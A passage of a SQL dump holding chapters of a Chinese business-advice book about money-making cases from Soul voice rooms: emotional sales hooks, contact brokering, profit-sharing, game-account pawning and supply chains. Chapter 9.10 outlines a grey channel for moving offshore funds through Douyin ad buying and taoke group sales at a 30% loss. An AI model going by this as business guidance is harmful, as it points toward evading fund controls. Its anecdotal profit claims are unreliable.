'情绪杠杆:咨询、婚恋、生意场', '# 8.4 情绪杠杆:咨询、婚恋、生意场\n\n\"打中当下,才有停留;给出当下,才有成交。\"\n\n2025年11月20日,周四,早上7点15分。\n\n今天派对房气氛有点不一样,好几个做知识付费的朋友都在。\n\n其中一个上麦,语气有点困惑:\n\n\"卡若,我讲得很专业,但成交一般。\"\n\n我说:\"专业要挂在情绪上。\"\n\n---\n\n派对房里,有人问:\"什么意思?\"\n\n我说:\"情绪是\'拉住\',专业是\'带走\'。\"\n\n\"你光讲专业,没有情绪,人家听完就走。\"\n\n\"你先用情绪拉住他,再用专业带走他,他才会付钱。\"\n\n那个朋友问:\"怎么用情绪拉住?\"\n\n我说:\"先搞清楚情绪有哪几类。\"\n\n---\n\n派对房里,有人打字:\"情绪有几类?\"\n\n我说:\"四类。焦虑、内耗、迷茫、无力。\"\n\n\"咨询、婚恋、生意场,都可以挂这四类情绪。\"\n\n我停了一下。\n\n\"你讲效率,挂在\'内耗\'。\"\n\n\"你讲方法,挂在\'迷茫\'。\"\n\n\"你讲系统,挂在\'无力\'。\"\n\n\"你讲选择,挂在\'焦虑\'。\"\n\n---\n\n派对房里,有人问:\"怎么挂?\"\n\n我说:\"开场用\'你是不是…\'句式。\"\n\n\"比如:\'你是不是每天很忙,但感觉什么都没做成?\'\"\n\n\"比如:\'你是不是找了很多方法,但还是不知道该怎么开始?\'\"\n\n\"比如:\'你是不是知道要做,但就是没有力气去做?\'\"\n\n\"比如:\'你是不是面对很多选择,但不知道哪个是对的?\'\"\n\n我停了一下。\n\n\"这四句话,分别对应内耗、迷茫、无力、焦虑。\"\n\n\"你用对了,人家就会停下来。\"\n\n\"因为你说中了他当下的感受。\"\n\n---\n\n那个做知识号的朋友问:\"那中段和结尾呢?\"\n\n我说:\"中段放一句真实人的话。\"\n\n\"比如:\'我之前有个学员,他也是这样,他说…\'\"\n\n\"这句话是\'被理解证据\'。\"\n\n\"人家听了会觉得,\'原来不只是我这样\'。\"\n\n派对房里,有人打字:\"那结尾呢?\"\n\n我说:\"结尾给\'当下可用清单\'。\"\n\n\"比如:\'我整理了一份清单,评论区扣1,我私发给你。\'\"\n\n\"清单是可以立刻拿走的东西。\"\n\n\"不是让他去学习,是让他现在就能用。\"\n\n---\n\n两周后,那个做知识号的朋友在派对房里复盘。\n\n他说:\"我从每天3000播放到每天5万。\"\n\n\"不是因为我讲了更多知识,是因为我把知识挂在当下的感受上。\"\n\n\"结尾给清单,评论拿走。\"\n\n---\n\n派对房里,有人问:\"那婚恋场景怎么用?\"\n\n我说:\"婚恋场景有一个特别重要的点。\"\n\n\"恋爱场景不谈钱,赚钱场景不谈情。\"\n\n派对房里,有人打字:\"为什么?\"\n\n我说:\"时间与空间分开,否则情绪会把交易毁掉,交易会把关系毁掉。\"\n\n\"你在约会的时候谈生意,约会就没了。\"\n\n\"你在谈生意的时候谈感情,生意就没了。\"\n\n---\n\n那天派对房里,有个小姐姐上麦。\n\n她说:\"卡若,我来Soul是找对象,但我也想找项目。\"\n\n我问:\"你今天的目标是哪一个?\"\n\n她沉默了。\n\n我说:\"一个房间两种目标,最后两个都做不成。\"\n\n\"你得选一个。\"\n\n\"今天是找对象的日子,就专心找对象。\"\n\n\"明天是找项目的日子,就专心找项目。\"\n\n\"分轨执行,避免目标冲突。\"\n\n---\n\n情绪杠杆的本质,不是\"煽情\"。\n\n是\"当下\"。\n\n开场挂在四类情绪之一,用\"你是不是…\"句式做共鸣。\n\n中段放一句真实人的话,做\"被理解\"证据。\n\n结尾给当下可用清单,评论拿走,提高互动与转化。\n\n打中当下,才有停留。\n\n给出当下,才有成交。\n', 1275, 0, 1.00, 38, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.887', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (47, '8.5', 'part-4', '第四篇|真实的赚钱', 'chapter-8', '第8章|底层结构', '社交杠杆:认识谁比你会什么更重要', '# 8.5 社交杠杆:认识谁比你会什么更重要\n\n\"社交不是聊天,是把关系做成交付与分润。\"\n\n2025年11月22日,周六,早上7点整。\n\n周末的派对房人比平时少一些,但来的都是老面孔。\n\n有个年轻人上麦,声音有点迷茫:\n\n\"卡若,我什么都不会,怎么赚钱?\"\n\n我说:\"你认识谁?\"\n\n---\n\n派对房里,突然安静了。\n\n他愣了一下。\n\n\"认识谁?\"\n\n我说:\"对。\"\n\n\"把认识的人链接起来,也能赚钱。\"\n\n有人打字:\"这也能赚钱?\"\n\n我说:\"当然能。\"\n\n\"我给你讲一个人的故事。\"\n\n---\n\n那天早上,我在派对房里讲了老墨的故事。\n\n老墨是我多年的朋友。\n\n他手上没有一个项目,但他认识所有有项目的人。\n\n他做的是资源整合。\n\n把A的需求对接给B的资源,中间抽三个点。\n\n派对房里,有人问:\"这也是一门生意?\"\n\n我说:\"当然是。\"\n\n\"这就是社交杠杆。\"\n\n---\n\n我停了一下。\n\n\"社交杠杆的核心不是\'认识多少人\'。\"\n\n\"是\'能不能把关系做成可交易的服务\'。\"\n\n派对房里,有人问:\"怎么做成服务?\"\n\n我说:\"两张卡。\"\n\n\"第一张:资源卡。\"\n\n\"资源名称、联系人与可信度、可用时段与数量、托底方案。\"\n\n\"第二张:服务包。\"\n\n\"目标客户、交付内容、价格与结算、时段与SLA、风险与托底、分润机制。\"\n\n我停了一下。\n\n\"资源卡是你认识谁。\"\n\n\"服务包是你能帮谁做什么。\"\n\n\"两张卡合起来,社交就变成了生意。\"\n\n---\n\n那个朋友问:\"怎么开始?\"\n\n我说:\"先做\'图谱与清单\'。\"\n\n\"画出你认识的人与他们的资源图谱。\"\n\n\"做出\'当下可用清单\'。\"\n\n派对房里,有人打字:\"然后呢?\"\n\n我说:\"每天只做三件事。\"\n\n\"第一,对接一个需求。\"\n\n\"第二,链接一个资源。\"\n\n\"第三,复盘一个交付。\"\n\n我停了一下。\n\n\"你不需要一开始就做得很完美。\"\n\n\"你只需要每天做这三件事。\"\n\n\"做一个月,你就会发现,你认识的人开始变成你的资产。\"\n\n---\n\n派对房里,有人问:\"那分润怎么算?\"\n\n我说:\"分润要有规则。\"\n\n\"每个交付都有责任人与时间节点。\"\n\n\"每个分润都有规则与到账条件。\"\n\n我停了一下。\n\n\"社交不再是\'关系消耗\',而是\'结构增值\'。\"\n\n---\n\n后来,有人在派对房里问:\"卡若,你说的这个社交杠杆,有没有具体的例子?\"\n\n我说:\"有。\"\n\n\"我们之前做过一个事。\"\n\n\"把退税与用工做一体化。\"\n\n派对房里,有人问:\"什么意思?\"\n\n我说:\"有些企业缴增值税超过200万,可以通过残疾人用工退税。\"\n\n\"有些企业需要用工,但不知道怎么合规。\"\n\n\"我们认识做退税的,也认识做用工的。\"\n\n\"我们把这两边对接起来,中间抽点。\"\n\n---\n\n我停了一下。\n\n\"这就是信息差。\"\n\n\"你知道这个政策,别人不知道。\"\n\n\"你能链接这个资源,别人不能。\"\n\n\"你就有了社交杠杆。\"\n\n派对房里,有人问:\"这种信息差怎么找?\"\n\n我说:\"多听,多问,多链接。\"\n\n\"我在Soul上开了几十场派对,认识了几百个老板。\"\n\n\"每个老板手上都有不同的信息差。\"\n\n\"你把他们链接起来,你就有了信息差。\"\n\n---\n\n两周后,那个朋友在派对房里复盘。\n\n他说:\"我从\'聊天\'变成\'交付\'。\"\n\n\"我从\'关系\'变成\'服务包\'。\"\n\n\"我从\'一次性\'变成\'复购与分润\'。\"\n\n派对房里,有人打字:\"这个思路清楚了。\"\n\n---\n\n社交杠杆的本质,不是\"你会什么\"。\n\n是\"你认识谁\"。\n\n因为你能把\"会的人\"链接起来。\n\n做资源卡与服务包,把关系标准化与可交易化。\n\n每天三件事:对接一个需求、链接一个资源、复盘一个交付。\n\n认识谁,比你会什么更重要。\n\n因为你能把\"会的人\"链接起来。\n', 1371, 0, 1.00, 39, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.898', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (48, '8.6', 'part-4', '第四篇|真实的赚钱', 'chapter-8', '第8章|底层结构', '云阿米巴:分不属于自己的钱', '# 8.6 云阿米巴:分不属于自己的钱\n\n\"分钱不是分自己的钱,是分多出来的钱。\"\n\n2025年11月25日,周二,下午3点。\n\n那天没开派对房,而是在线下见了个做餐饮的老朋友庄总。\n\n茶还没泡开,他就开始倒苦水:\n\n\"卡若,现在的员工太难管了。给少了不干,给多了我亏。我想搞股权激励,他们说不要画饼,要现钱。\"\n\n我笑了笑,把茶杯推给他。\n\n\"庄总,你这是想分自己的钱给别人,当然心疼。\"\n\n\"你有没有想过,分不属于你的钱?\"\n\n庄总愣了一下:\"什么叫不属于我的钱?\"\n\n---\n\n我说:\"传统的阿米巴,是把公司拆成小核算单位,让员工像老板一样算账。\"\n\n\"但无论怎么算,还是在分老板兜里的钱。\"\n\n\"云阿米巴不一样。\"\n\n\"我们不分存量,只分增量。\"\n\n庄总问:\"什么是增量?\"\n\n我说:\"比如,我有30个抖音号,每天稳定播放量1万+。\"\n\n\"这流量我不变现,它就是数据,一分钱不值。\"\n\n\"如果你能接得住这些流量,转化成客户,那产生的利润,就是我们共同创造的\'增量\'。\"\n\n\"这笔钱,本来不存在,是因为我们合作才有的。\"\n\n\"所以我分给你,我不心疼;你拿到了,你也开心。\"\n\n---\n\n庄总若有所思:\"那你这个模式的核心是什么?\"\n\n我说:\"三个字:不占股、分现钱、稳流量。\"\n\n\"第一,不占股。\"\n\n\"我不要你的股份,你也不要我的股份。\"\n\n\"我们只是合作,不是合伙。\"\n\n\"第二,分现钱。\"\n\n\"别跟合作方谈什么\'年底分红\',太远了。\"\n\n\"我们的规则是:T+1结算,或者周结。\"\n\n\"钱到了口袋里,才是落袋为安。\"\n\n\"第三,稳流量。\"\n\n\"我每天给你导流,你每天给我转化。\"\n\n\"流量稳定,收入就稳定。\"\n\n---\n\n庄总拍着大腿说:\"哎呀,我之前非要拉着店长入股,让他掏钱,他肯定不干啊!\"\n\n\"如果我按你这个说法,他多卖一份,我就立马分他一份钱,不需要他承担房租水电,他肯定玩命干!\"\n\n我说:\"对,就是这个道理。\"\n\n\"人性是经不起考验的,尤其经不起诱惑。\"\n\n\"与其用\'未来可能上市\'的饼去忽悠人,不如用\'今天成交,明天到账\'的钱去激励人。\"\n\n---\n\n庄总问:\"那你怎么落地的?\"\n\n我说:\"两个东西:流量池和私域系统。\"\n\n\"流量池是金。\"\n\n\"我手里有30个本地创业者账号,每天视频一发,流量就来了。\"\n\n\"这些流量是精准的,是看过我内容、认可我观点的人。\"\n\n\"对于合作方来说,流量就是命。你能给他解决流量问题,他就离不开你。\"\n\n\"私域系统是水。\"\n\n\"流量来了,得接得住。\"\n\n\"客户进了群,谁转化的?谁服务的?谁成交的?\"\n\n\"系统里记得清清楚楚。\"\n\n\"每一笔订单,系统自动分账。\"\n\n\"你是运营,你拿运营的钱;你是销售,你拿销售的钱。\"\n\n\"不用等到月底财务算账,每一单都清清楚楚。\"\n\n---\n\n我给庄总讲了一个真实的案例。\n\n2024年,有个做美业的慧娟找到我。\n\n她技术很好,但店里没客流,员工也懒洋洋的。\n\n我跟她说:\"你别管流量,我给你导流。你别管员工管理,用我的系统分钱。\"\n\n我们就做了一件事:\n\n我把抖音上的本地爱美女性流量导给她。\n\n她的员工只要在系统里接单、服务、好评。\n\n每一单,员工多拿20%的提成(这部分钱从我的流量转化里出)。\n\n慧娟自己少赚点,但客流翻了3倍。\n\n结果呢?\n\n第一个月,她的店业绩翻了两番。\n\n员工像打了鸡血一样,因为每天手机上都能看到\"入账提醒\"。\n\n慧娟也不用天天盯着员工干活了,系统盯着呢。\n\n---\n\n庄总问:\"那你每个月营收多少?\"\n\n我笑了笑,给他看了一眼手机后台。\n\n\"数字不重要,重要的是,这上面的每一分钱,都已经分给了该拿钱的人。\"\n\n\"我留下的,是系统,是人心,是源源不断的流量。\"\n\n---\n\n那天聊完,庄总说了一句话:\n\n\"卡若,你这套东西,核心不是技术,是人性。\"\n\n我说:\"对。\"\n\n\"你舍得分钱,别人就愿意帮你干活。\"\n\n\"你分的越多,帮你干活的人越多。\"\n\n\"你帮的人越多,你的系统就越大。\"\n\n---\n\n云阿米巴的本质,不是\"分钱\"。\n\n是\"分多出来的钱\"。\n\n不分存量,只分增量。\n\n不占股,分现钱,稳流量。\n\n你舍得分钱,别人就愿意帮你干活。\n\n这,才是生意的真相。\n', 1572, 0, 1.00, 40, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.910', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (49, '9.1', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '游戏账号私域:账号即资产', '# 9.1 游戏账号私域:账号即资产\n\n账号不是一次性卖掉的货,是会生息的资产。\n\n2025年10月22日,周三,早上6点40分。\n\n天还没完全亮,我照例打开派对房。\n\n一个年轻人的头像在等待区闪烁,他上麦的时候声音里带着一丝焦虑。\n\n他说:\"我做游戏账号,现在行情不稳定,我能不能做成私域?\"\n\n我问:\"你有多少\'可抵押\'的账号?\"\n\n他愣了一下:\"什么意思?\"\n\n我说:\"账号不是\'一次性卖掉的货\'。账号是\'可抵押、可复购、可增值\'的资产。\"\n\n---\n\n在派对房的真实聊天里,我们聊过\"高端账号2-4折典当\"的模型。\n\n不是为了做金融噱头,是为了把\"账号的价值\"从一次性交易变成\"长期关系\"。\n\n你把账号做成资产,你就有现金流、复购与转介绍。\n\n这个逻辑适用于任何有\"沉淀价值\"的东西——不只是游戏账号。\n\n---\n\n第二天线下约见,我们在咖啡馆聊了两个小时。\n\n我让他把账号做成\"账号卡\"。\n\n**账号卡六项**:\n\n等级与稀有度、绑定风险与合规状态、近三个月活跃与消费记录、可抵押估值、托底方案、主人与联系方式。\n\n第一眼看过去,这不是\"游戏的快乐\",这是\"资产的形状\"。\n\n他听完说:\"这套东西我自己琢磨不出来。\"\n\n我说:\"所以你需要有人帮你梳理,帮你建结构。\"\n\n---\n\n**抵押分层规则:**\n\n- **稀有高分账号**:四折抵押,30/60/90天周期,利率与服务费透明\n- **中等分账号**:三折抵押,周期缩短,随访与风控加重\n- **风险高账号**:不可抵押,仅做估值与辅导\n\n抵押期30/60/90天,利率与服务费写进合同,全部走公账,托底是\"冻结与取回的预案\"。\n\n不是把账号\"卷入灰区\",是把账号\"拉进合规的现金流\"。\n\n---\n\n**账号的三类价值:**\n\n1. **使用价值**:玩得爽\n2. **社交价值**:身份稀有\n3. **金融价值**:可抵押可循环增值\n\n把三类价值放进私域,你就可以做三类内容与服务:\n\n- 使用内容:攻略/搭配/带练/陪玩\n- 社交内容:稀有展示/身份故事\n- 金融内容:估值与抵押的规则与流程\n\n他问我:\"这三类内容怎么生产?\"\n\n我说:\"我们有一套内容SOP,可以帮你快速上手。\"\n\n---\n\n**社群三分:**\n\n- **训练群**:每天发三条\"当下可用清单\":当天活动/最省钱搭配/带练时间表\n- **稀有群**:每周做一次\"身份故事与展示\",让稀有价值可见\n- **金融群**:每月做一次\"估值更新与抵押规则说明\"\n\n三群各司其职,不是\"一个群里什么都聊\"。\n\n这套社群结构,是我们在多个项目里验证过的。\n\n---\n\n**风控清单五项:**\n\n1. 绑定与IP风险标注\n2. 交易历史与异常记录\n3. 冻结/取回预案文本化\n4. 触发类事件的响应SLA\n5. 合规边界说明(拒绝灰色交易与脚本作弊)\n\n---\n\n第二个月,我们跑了一套\"小批量\"的模型。\n\n10个账号,分三层估值与抵押。每个账号的现金流、使用与社交价值都在看板里。\n\n结果是:\n\n- 抵押利息与服务费覆盖了运营成本\n- 代练与陪玩的复购提升了40%\n- 稀有展示带来的转介绍增加了25%\n\n这不是\"大赚一笔\",这是\"长期稳定与结构可复制\"。\n\n他后来跟我说:\"如果没有那次线下约见,我可能还在原地转圈。\"\n\n---\n\n**\"账号即资产\"清单:**\n\n1. 做账号卡六项:等级/风险/活跃与消费/估值/托底/主人。\n2. 做估值模型:历史消费与活跃/社区稀有度/风险打分,用表单与看板复盘。\n3. 做中台两看板:客户看板与资产看板,节点SLA与责任人明确。\n4. 做社群三分:训练/稀有/金融,内容与服务分轨执行。\n5. 合规与风控:公账/冻结与取回预案/风险标注,拒绝边缘操作。\n6. 抵押分层:四折/三折/不可抵押,周期与利率与服务费写进合同。\n7. 每月再估值与规则调整,把资产管理做成纪律。\n\n如果你也在做类似的事情,欢迎来派对房聊聊。\n\n我们不收费,但我们会筛选——只跟认真做事的人深聊。\n', 1515, 0, 1.00, 41, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.921', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (50, '9.10', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '淘客大佬:损耗30%的白色通道', '# 9.10 淘客大佬:损耗30%的白色通道\n\n\"你以为自己缺项目,其实你缺的是一条\'钱能进来\'的路。\"\n\n2025年11月1日,周六,早上6点45分。\n\n那天派对房的话题有点敏感,聊到了\"灰色地带\"。\n\n天还没亮,屏幕上已经有人开始说项目。\n\n他说的不是\"怎么卖货\"。\n\n他说的是\"怎么把钱变得能用\"。\n\n---\n\n他先问我一句:\"在跑吗?\"\n\n我也不绕。\n\n我说:\"还在跑。\"\n\n他继续:\"但是我一直说去,他不愿意让我去。\"\n\n我听到这句,脑子里先冒出来的不是情绪,是结构。\n\n我问:\"你知道那肯定可以付费学习。\"\n\n他像是在解释,又像是在跟自己较劲。\n\n\"我说我希望能帮你做大,或者说帮你再组建两个团队出来。\"\n\n\"说给你剩50%他都不愿意。\"\n\n我笑了一下。\n\n不是嘲笑,是那种\"你终于碰到真相了\"的笑。\n\n---\n\n我说:\"这个挣钱的事情你要让他参与,他为什么要让你参与?\"\n\n然后我把话说得更直。\n\n\"因为他放大了很容易。资金一大把。很多人是提着现金去合作的。\"\n\n我停了一下。\n\n我故意不说\"你有没有资源\"。\n\n我说的是更狠的那句:\"资金我们出啊。\"\n\n你听懂了吗。\n\n这不是在讲\"你能不能干\"。\n\n这是在讲\"你能不能进牌桌\"。\n\n---\n\n我继续往下推。\n\n\"就是人。他需要什么人?我们来架构来帮他找。\"\n\n\"然后我们其他的地方成立两个小的工作室。\"\n\n\"比如一个工作室二三十个人。\"\n\n这话说出来,房间里一下子安静了。\n\n我知道他们在脑补。\n\n二三十个人,两间工作室,再加一个操盘手。\n\n这已经不是\"做点副业\"。\n\n这是\"要起盘\"。\n\n---\n\n但他马上又回到现实。\n\n他说:\"我知道你想找他们复制这一帮。他基本都不会太缺钱的。他经常像缺钱。\"\n\n我接话:\"对,像。\"\n\n我不想让他们把\"像缺钱\"当成真缺钱。\n\n这种人,不是没钱,是把钱放在更安全的地方,是把\"流速\"藏起来。\n\n---\n\n我举了一个他们听得懂的数字。\n\n\"早些年有个公众号,人家是提着8000万的现金。16年。\"\n\n这句话像一块铁,砸在地上。\n\n你不需要再问\"一个月营收多少\"。\n\n你只要看他\"敢不敢提着8000万去谈合作\"。\n\n我又补了一句。\n\n\"他们最近前天刚拍了一套,在厦门岛内的中心,一片商业的物业。1.12个亿。眼睛都不眨,全款。\"\n\n房间里有人打字,有人不信,有人沉默,有人开始问:\"那他们为什么不合作?\"\n\n---\n\n我把答案说得更难听一点。\n\n\"普通项目会这么想。这个有点灰的,他们不会这么想。他们都想做小。\"\n\n你看,这就是矛盾。\n\n越能挣钱的路,越怕放大。\n\n---\n\n我继续讲。\n\n\"就像做淘客的。境外的资金进不来。他们干嘛呢?直接去抖音的巨量引擎买量。投流买粉。买粉丝完之后直接到淘客群里面去做变现。\"\n\n我把这句话拆成更白的话。\n\n钱进不来,那就先变成\"投流的钱\",再变成\"群里的成交\",最后把它变成\"你看得懂的收入\"。\n\n我说:\"就这么一道直接就是损耗30%钱。\"\n\n有人听到这里,第一反应不是风险,是心疼。\n\n30%。\n\n这在普通生意里就是毛利。\n\n但在这条线里,30%是\"通行费\",是\"能不能落地\"的成本。\n\n---\n\n我又往上拉了一层。\n\n\"你看人呐,如果真正想做懂的人,你有多少的资金量愿意跟他合作。\"\n\n我不问他\"你做什么类目\"。\n\n我问的是:你愿不愿意把自己的筹码摆上桌。\n\n他问我:\"你们会对什么比较感兴趣?\"\n\n我说:\"我们类目就是属于相当于肯定要体量。刚开始可能小一点没关系。跑通了以后可能就要稍微大一点。但不能直击事物本身。\"\n\n我停了一下,把这句说得更直。\n\n\"你直击那不是形成外交事件吗?\"\n\n房间里有人笑,笑完又安静。\n\n---\n\n我知道他们在想什么。\n\n他们想的是\"怎么赚快钱\"。\n\n我想的是\"怎么别把自己弄死\"。\n\n所以我换了一个问法。\n\n我不问他\"你现在到底赚多少\"。\n\n我问他:你到底想做小,还是想做大。\n\n做小,你就靠熟人和胆子。\n\n做大,你就必须回答三个问题。\n\n但我不说那三个问题是什么。\n\n我只在对话里慢慢挤。\n\n你到底把谁当客户。\n\n你到底靠什么把钱变成成交。\n\n你到底哪一块是别人拿不走的。\n\n---\n\n如果你真想跑通,你就别把\"群\"当成聊天;\n\n你得把\"群\"当成系统。\n\n我在房间里顺手提醒了一句。\n\n\"群在左上角,派对群。\"\n\n有人说看不到。\n\n我说:\"可能版本不一样。\"\n\n我又补了一句:\"我给你拉个群,你直接跟群里的小伙伴对接就可以。\"\n\n这就是\"联系管理\"。\n\n不是装样子,是为了把人从情绪里拽出来,让他进入流程。\n\n---\n\n我最后收在一句很土的话里。\n\n但土话最有用。\n\n\"赚钱这个事情就不要太复杂。太复杂是挣不到钱的。\"\n\n我知道这句话会得罪很多人。\n\n因为他们靠\"复杂\"吃饭,靠\"概念\"抬价,靠\"故事\"收割。\n\n但这本书只记录真实。\n\n真实的人,真实的路,真实的成本,真实的选择。\n\n---\n\n你可以不做这条线。\n\n但你得看懂它。\n\n你可以不赚这种钱。\n\n但你得明白,为什么有人宁愿损耗30%,也要把钱变成\"能活下去的结构\"。\n\n这本书的真实目的,不是教你学灰。\n\n是教你识别。\n\n识别一个人,识别一条链路,识别你到底该不该上桌。\n\n---\n\n那天我其实还说了一句更刺耳的。\n\n我说:\"别人拿纸来换你的资源,我们也可以拿纸换他们的资源。\"\n\n这句话听上去像笑话,但它是现实。\n\n所谓\"纸\",不是钱,是筹码,是规则允许你用的那种筹码。\n\n我把话说得更直:\"纸这个东西是可以印的。\"\n\n---\n\n有人在公屏里问:\"那我们到底做什么类目呢?\"\n\n我没有给答案。\n\n因为类目从来不是最难的那一环。\n\n最难的是:\n\n你有没有资格把\"纸\"换成\"流量\",再把\"流量\"换成\"成交\"。\n\n你有没有把风险隔离清楚。\n\n你有没有把人放对位置。\n\n你有没有把边界写得够硬。\n\n所以我才会反复强调:\"不能直击事物本身。\"\n\n不是装神秘,是你一旦直击,你就把自己放在了最危险的那条线上。\n\n---\n\n而真正能长期跑的,反而是那种看上去\"很笨\"的结构。\n\n比如买量,比如转化,比如复购,比如社群。\n\n看上去都是老套路。\n\n但每一步都能算清楚,每一步都能停,每一步都能退。\n\n这才叫\"活路\"。\n\n---\n\n那天房间快结束的时候,我又把话绕回到最开始的那句。\n\n你以为你在找合作,其实你在找一种确定。\n\n你以为你要问的是\"能不能赚钱\",其实你要问的是\"我到底是谁\"。\n\n你到底是来做执行的,还是来做操盘的,还是来做资金的,还是来做通道的。\n\n角色不清,你就会一直卡在那句:\"他不愿意让我去。\"\n\n因为他拒绝的不是你这个人,他拒绝的是你背后那套不完整的结构。\n\n---\n\n有个做淘客的朋友后来问我:\"你们能不能帮我理一理我的模式?\"\n\n我说:\"能,但你得先想清楚一件事。\"\n\n\"你是想赚快钱,还是想做长期?\"\n\n他说:\"长期。\"\n\n我说:\"那就对了。想做长期,就得把结构搭好。结构搭好了,钱自然会来。\"\n\n\"如果你想聊聊,可以加到群里,我们有专门做这块的人。\"\n\n有时候,找到一个能帮你理清结构的人,比找到一个好项目更重要。\n', 2618, 0, 1.00, 42, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.932', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (51, '9.11', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '蔬菜供应链:农户才是最赚钱的人', '# 9.11 蔬菜供应链:集中化才是真正的印钞机\n\n\"你以为中间商赚差价,其实最赚钱的从来不是某个环节,而是把整个链条做成标准化的人。\"\n\n2025年12月15日,周一,早上6点55分。\n\n那天派对房聊到了供应链,一个做蔬菜采购的老板上麦。\n\n他的第一句话就颠覆了很多人的认知。\n\n他说:\"你们都以为中间商赚差价,其实错了。\"\n\n派对房里有人问:\"那到底谁最赚钱?\"\n\n他笑了:\"你听我慢慢讲。\"\n\n他说他做蔬菜采购十几年了,从田间地头收菜,卖给批发市场,再卖给超市、餐厅。整个链条他都走过。\n\n\"你知道这个行业里,谁的利润率最高吗?\"\n\n\"不是批发商,不是超市,也不是散户农民。\"\n\n\"是那些做了标准化、规模化的供应链龙头。\"\n\n他开始算账。\n\n单个农户种一亩地,成本两三千,产出几千到上万斤,看起来利润率50%以上。但这是理论值,实际上风险极高,天灾、病虫害、市场价格波动,一年赚钱下一年可能全亏回去。\n\n批发商呢?收菜一斤加两三毛,承担运输、损耗、仓储、账期,算下来利润率5%到10%。流水大但利润薄,本质上是在给上下游打工。\n\n超市更惨。看起来一斤菜卖三四块,加价很多。但房租、人工、水电、损耗算下来,蔬菜根本就是亏钱的引流品,不是利润品。\n\n那谁才是真正赚钱的?\n\n他说了一句话,让我印象很深:\"农业供应链里,真正赚钱的是把散装变成集装的人。\"\n\n什么意思?\n\n就是把零散的农户、零散的品种、零散的渠道,全部整合成一套标准化的体系。\n\n他举了个例子。\n\n他认识一个做蔬菜供应链的老板,不自己种地,也不自己卖菜。他做的事情是:签约大量农户,统一提供种子、统一技术指导、统一采购标准、统一物流配送。\n\n农户只管种,种出来的菜他全收。\n\n下游只管买,买到的菜品质稳定。\n\n他赚的是什么钱?\n\n是规模效应的钱,是品控溢价的钱,是品牌信任的钱。\n\n单个农户一年赚几万块,已经顶天了。\n\n这个供应链老板,一年流水过亿,净利润几千万。\n\n派对房里有人问:\"那为什么大家不都去做这个?\"\n\n他说因为这个太难了。\n\n做供应链整合,需要资金、需要人脉、需要管理能力,还需要对整个链条的深度理解。\n\n单个农户可以靠勤劳种地,单个批发商可以靠关系卖货。\n\n但供应链龙头,必须把种植标准化、采购集中化、物流体系化、品控数字化,每一个环节都做成可复制的模块。\n\n这就是为什么他说\"集中化才是印钞机\"。\n\n他又讲了一个真实案例。\n\n云南有个做蓝莓的老板,早期也是散户,一亩地投入两三万,产出能卖十几万,利润率70%以上。\n\n但他后来发现,单干永远做不大。\n\n于是他开始整合周边农户,成立合作社,统一品种、统一技术、统一销售。\n\n现在他管理着上千亩蓝莓基地,直接对接全国的商超和电商平台,成了当地的蓝莓大王。\n\n他赚的钱,早就不是种地的钱,是平台化的钱。\n\n我在派对房里总结了一下。\n\n\"刚才这位老板的分享,给了我们一个很重要的启示。\"\n\n\"什么叫产业升级?\"\n\n\"产业升级不是换个品种,不是多几个渠道。\"\n\n\"是把整个链条从散装变成标准化,从单干变成平台化。\"\n\n这个逻辑放在任何行业都一样。\n\n餐饮行业,单店老板累死累活一年赚几十万,供应链公司给几千家店供货,一年赚几个亿。\n\n服装行业,工厂老板被客户压账期压到喘不过气,供应链平台把一百家工厂整合起来,拿到的价格和账期完全不一样。\n\n大健康行业,小品牌到处找渠道找不到,大供应链公司手握几万个终端,品牌方排队求合作。\n\n核心就一句话:谁能把散装变成集装,谁就站在食物链顶端。\n\n他最后说了一段话,我记下来了。\n\n\"你想赚钱,就要往两个方向走。\"\n\n\"要么做源头,把品做到极致,让下游没办法离开你。\"\n\n\"要么做平台,把资源整合起来,让上下游都通过你来对接。\"\n\n\"卡在中间的,什么都不是,看起来流水大,其实是在给别人打工。\"\n\n派对房散场后,有个做农产品的朋友私聊我。\n\n他说他一直在纠结,是继续做小批发商,还是转型做供应链整合。\n\n我说:\"这取决于你想做多大的事。\"\n\n\"如果只是养家糊口,小批发商也能活。\"\n\n\"如果想做成一番事业,就必须往标准化、集中化、平台化走。\"\n\n他问我有没有什么资源可以对接。\n\n我说有,加到群里,我们有专门做供应链的人,有资源的对接资源,有渠道的对接渠道。\n\n做供应链这么多年,我最大的感受是什么?\n\n这个行业水很深,但逻辑很简单。\n\n散户拼勤劳,中间商拼关系,龙头拼系统。\n\n勤劳有天花板,关系会断裂,只有系统可以复制和放大。\n\n谁把供应链做成标准化的系统,谁就是这个行业的印钞机。\n\n想清楚自己要站在哪个位置,比埋头苦干更重要。\n', 1763, 0, 1.00, 43, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.946', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (52, '9.12', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '美业整合:一个人的公司如何月入十万', '# 9.12 